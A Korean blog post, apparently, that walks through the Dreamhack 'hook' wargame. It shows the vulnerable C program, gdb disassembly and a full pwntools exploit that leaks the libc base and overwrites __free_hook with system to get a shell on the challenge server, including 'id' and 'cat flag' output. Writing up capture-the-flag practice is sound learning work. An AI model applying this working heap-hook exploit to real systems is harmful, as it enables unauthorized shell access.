hook

2022. 7. 29. 13:05·Wargame/Dreamhack
728x90
반응형

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

이렇게 푸는게 맞는지 모르겠다;;;

일단 코드 내에 system("/bin/sh") 가 있기 때문에 free 함수만 잘 넘어가면 쉘을 딸 수 있을 것이라 생각했다.
다만 문제는 ptr이 적절한 값을 가지고 있어야 된다는 점이다.

우선 코드를 다시 보면

scanf에서 size를 입력 받아 malloc으로 해당 크기만큼 동적 할당을 하고, 할당된 주소를 ptr에 넣는다.
이후 read & stdin으로 값을 입력 받아 ptr에 값을 덮어 씌운다.

중요한 부분은 그 다음의 *(long *)*ptr = *(ptr+1) 인데,
ptr + 8 byte 의 주소를 *ptr의 값으로 쓴다.

이후 free를 2회 수행하고 system 함수를 실행한다.

*(long *)*ptr = *(ptr+1) 부분을 gdb로 다시 보면 아래와 같다.

   0x00000000004009e4 <+154>:   mov    -0x10(%rbp),%rax
   0x00000000004009e8 <+158>:   mov    (%rax),%rax
   0x00000000004009eb <+161>:   mov    %rax,%rdx
   0x00000000004009ee <+164>:   mov    -0x10(%rbp),%rax
   0x00000000004009f2 <+168>:   mov    0x8(%rax),%rax
   0x00000000004009f6 <+172>:   mov    %rax,(%rdx)

자세히 나누면  *(long *)*ptr 부분과 *(ptr+1)의 두 부분으로 나눌 수 있고 각각은 아래와 같다.

*(long *)*ptr

+154 : %rbp - 0x10의 값을 %rax에 넣음 => malloc return 값을 %rax에 넣음 => 할당된 heap address를 %rax에 넣음.
+158 : 할당된 heap address 내의 값을 %rax에 넣음.
+161 : %rax를 %rdx에 넣음.

*(ptr+1)

+164 : 할당된 heap address를 %rax에 넣음.
+168 : 할당된 heap address + 8 주소의 값을 %rax에 넣음.
+172 : rax를 %rdx의 값으로 씀.

간단히 요약하자면 ptr + 8 byte 뒤의 값을 ptr에 덮어씌운다는 것이다.

이를 이용해 __free_hook 함수를 system 함수로 덮어씌우고, free(ptr)이 system(ptr)이 되도록 변조하여 아무 작동도 하지 않게 만든 다음 system("/bin/sh") 함수를 실행해버리면 될 것으로 보인다.
(당연히 system이 아니라 puts와 같이 단일 인자를 가지는 함수로 변조하여도 무관할 것으로 판단된다.)

그러므로 아래와 같이 코드를 작성할 수 있다.

from pwn import *


#p = remote('',)
#libc = ELF('./libc.so.6')
p = process('./hook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdoutadd = int(b'0x' + p.recvline()[-13:-1],16)

baseadd = stdoutadd - libc.symbols['_IO_2_1_stdout_']

free_hook_add = baseadd + libc.symbols['__free_hook']

system = baseadd + libc.symbols['system']

pause()

p.sendlineafter(b': ',b'16')

pay = b''
pay += p64(free_hook_add) + p64(system)

p.sendlineafter(b': ',pay)

p.interactive()

이를 실행해보면 아래와 같다.

┌──(kali㉿kali)-[~/Downloads/hook]
└─$ python a.py
[+] Starting local process './hook': pid 129602
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
sh: 1: .7ډ\x7f: not found
sh: 1: .7ډ\x7f: not found
$

예상대로 free 함수가 system 함수로 변조되었고, system(ptr)을 실행하려하니 그런 명령어가 없기에 not found를 일으키며 넘어갔고, 이후의 system("/bin/sh") 가 실행되었다.

서버에 실행해보자.

from pwn import *


p = remote('host3.dreamhack.games',19122)
libc = ELF('./libc.so.6')
#p = process('./hook')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdoutadd = int(b'0x' + p.recvline()[-13:-1],16)

baseadd = stdoutadd - libc.symbols['_IO_2_1_stdout_']

free_hook_add = baseadd + libc.symbols['__free_hook']

system = baseadd + libc.symbols['system']

pause()

p.sendlineafter(b': ',b'16')

pay = b''
pay += p64(free_hook_add) + p64(system)

p.sendlineafter(b': ',pay)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads/hook]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 19122: Done
[*] '/home/kali/Downloads/hook/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(hook) gid=1000(hook) groups=1000(hook)
$ cat flag
DH{----------#플래그는 삭제}$

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

out_of_bound  (0) 2022.07.30
oneshot  (0) 2022.07.29
fho  (0) 2022.07.27
basic_rop_x86  (0) 2022.07.25
basic_rop_x64  (0) 2022.07.22
'Wargame/Dreamhack' 카테고리의 다른 글
  • out_of_bound
  • oneshot
  • fho
  • basic_rop_x86
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (520)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (322)
        • pwn.college (34)
        • Dreamhack (156)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (46)
        • Solved (44)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    BOF
    Me
    x86
    root
    heap
    64bit
    32bit
    x64
    Buffer Overflow
    cryptohack
    exploit education
    vtable
    FSB
    libc
    RTL
    lob
    la ctf
    hackerschool
    tcache
    Format String Bug
    dreamhack
    _IO_FILE
    pwnable.kr
    phoenix
    root-me
    docker
    rop
    CANARY
    pwntools
    ROOT ME
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
hook
상단으로

티스토리툴바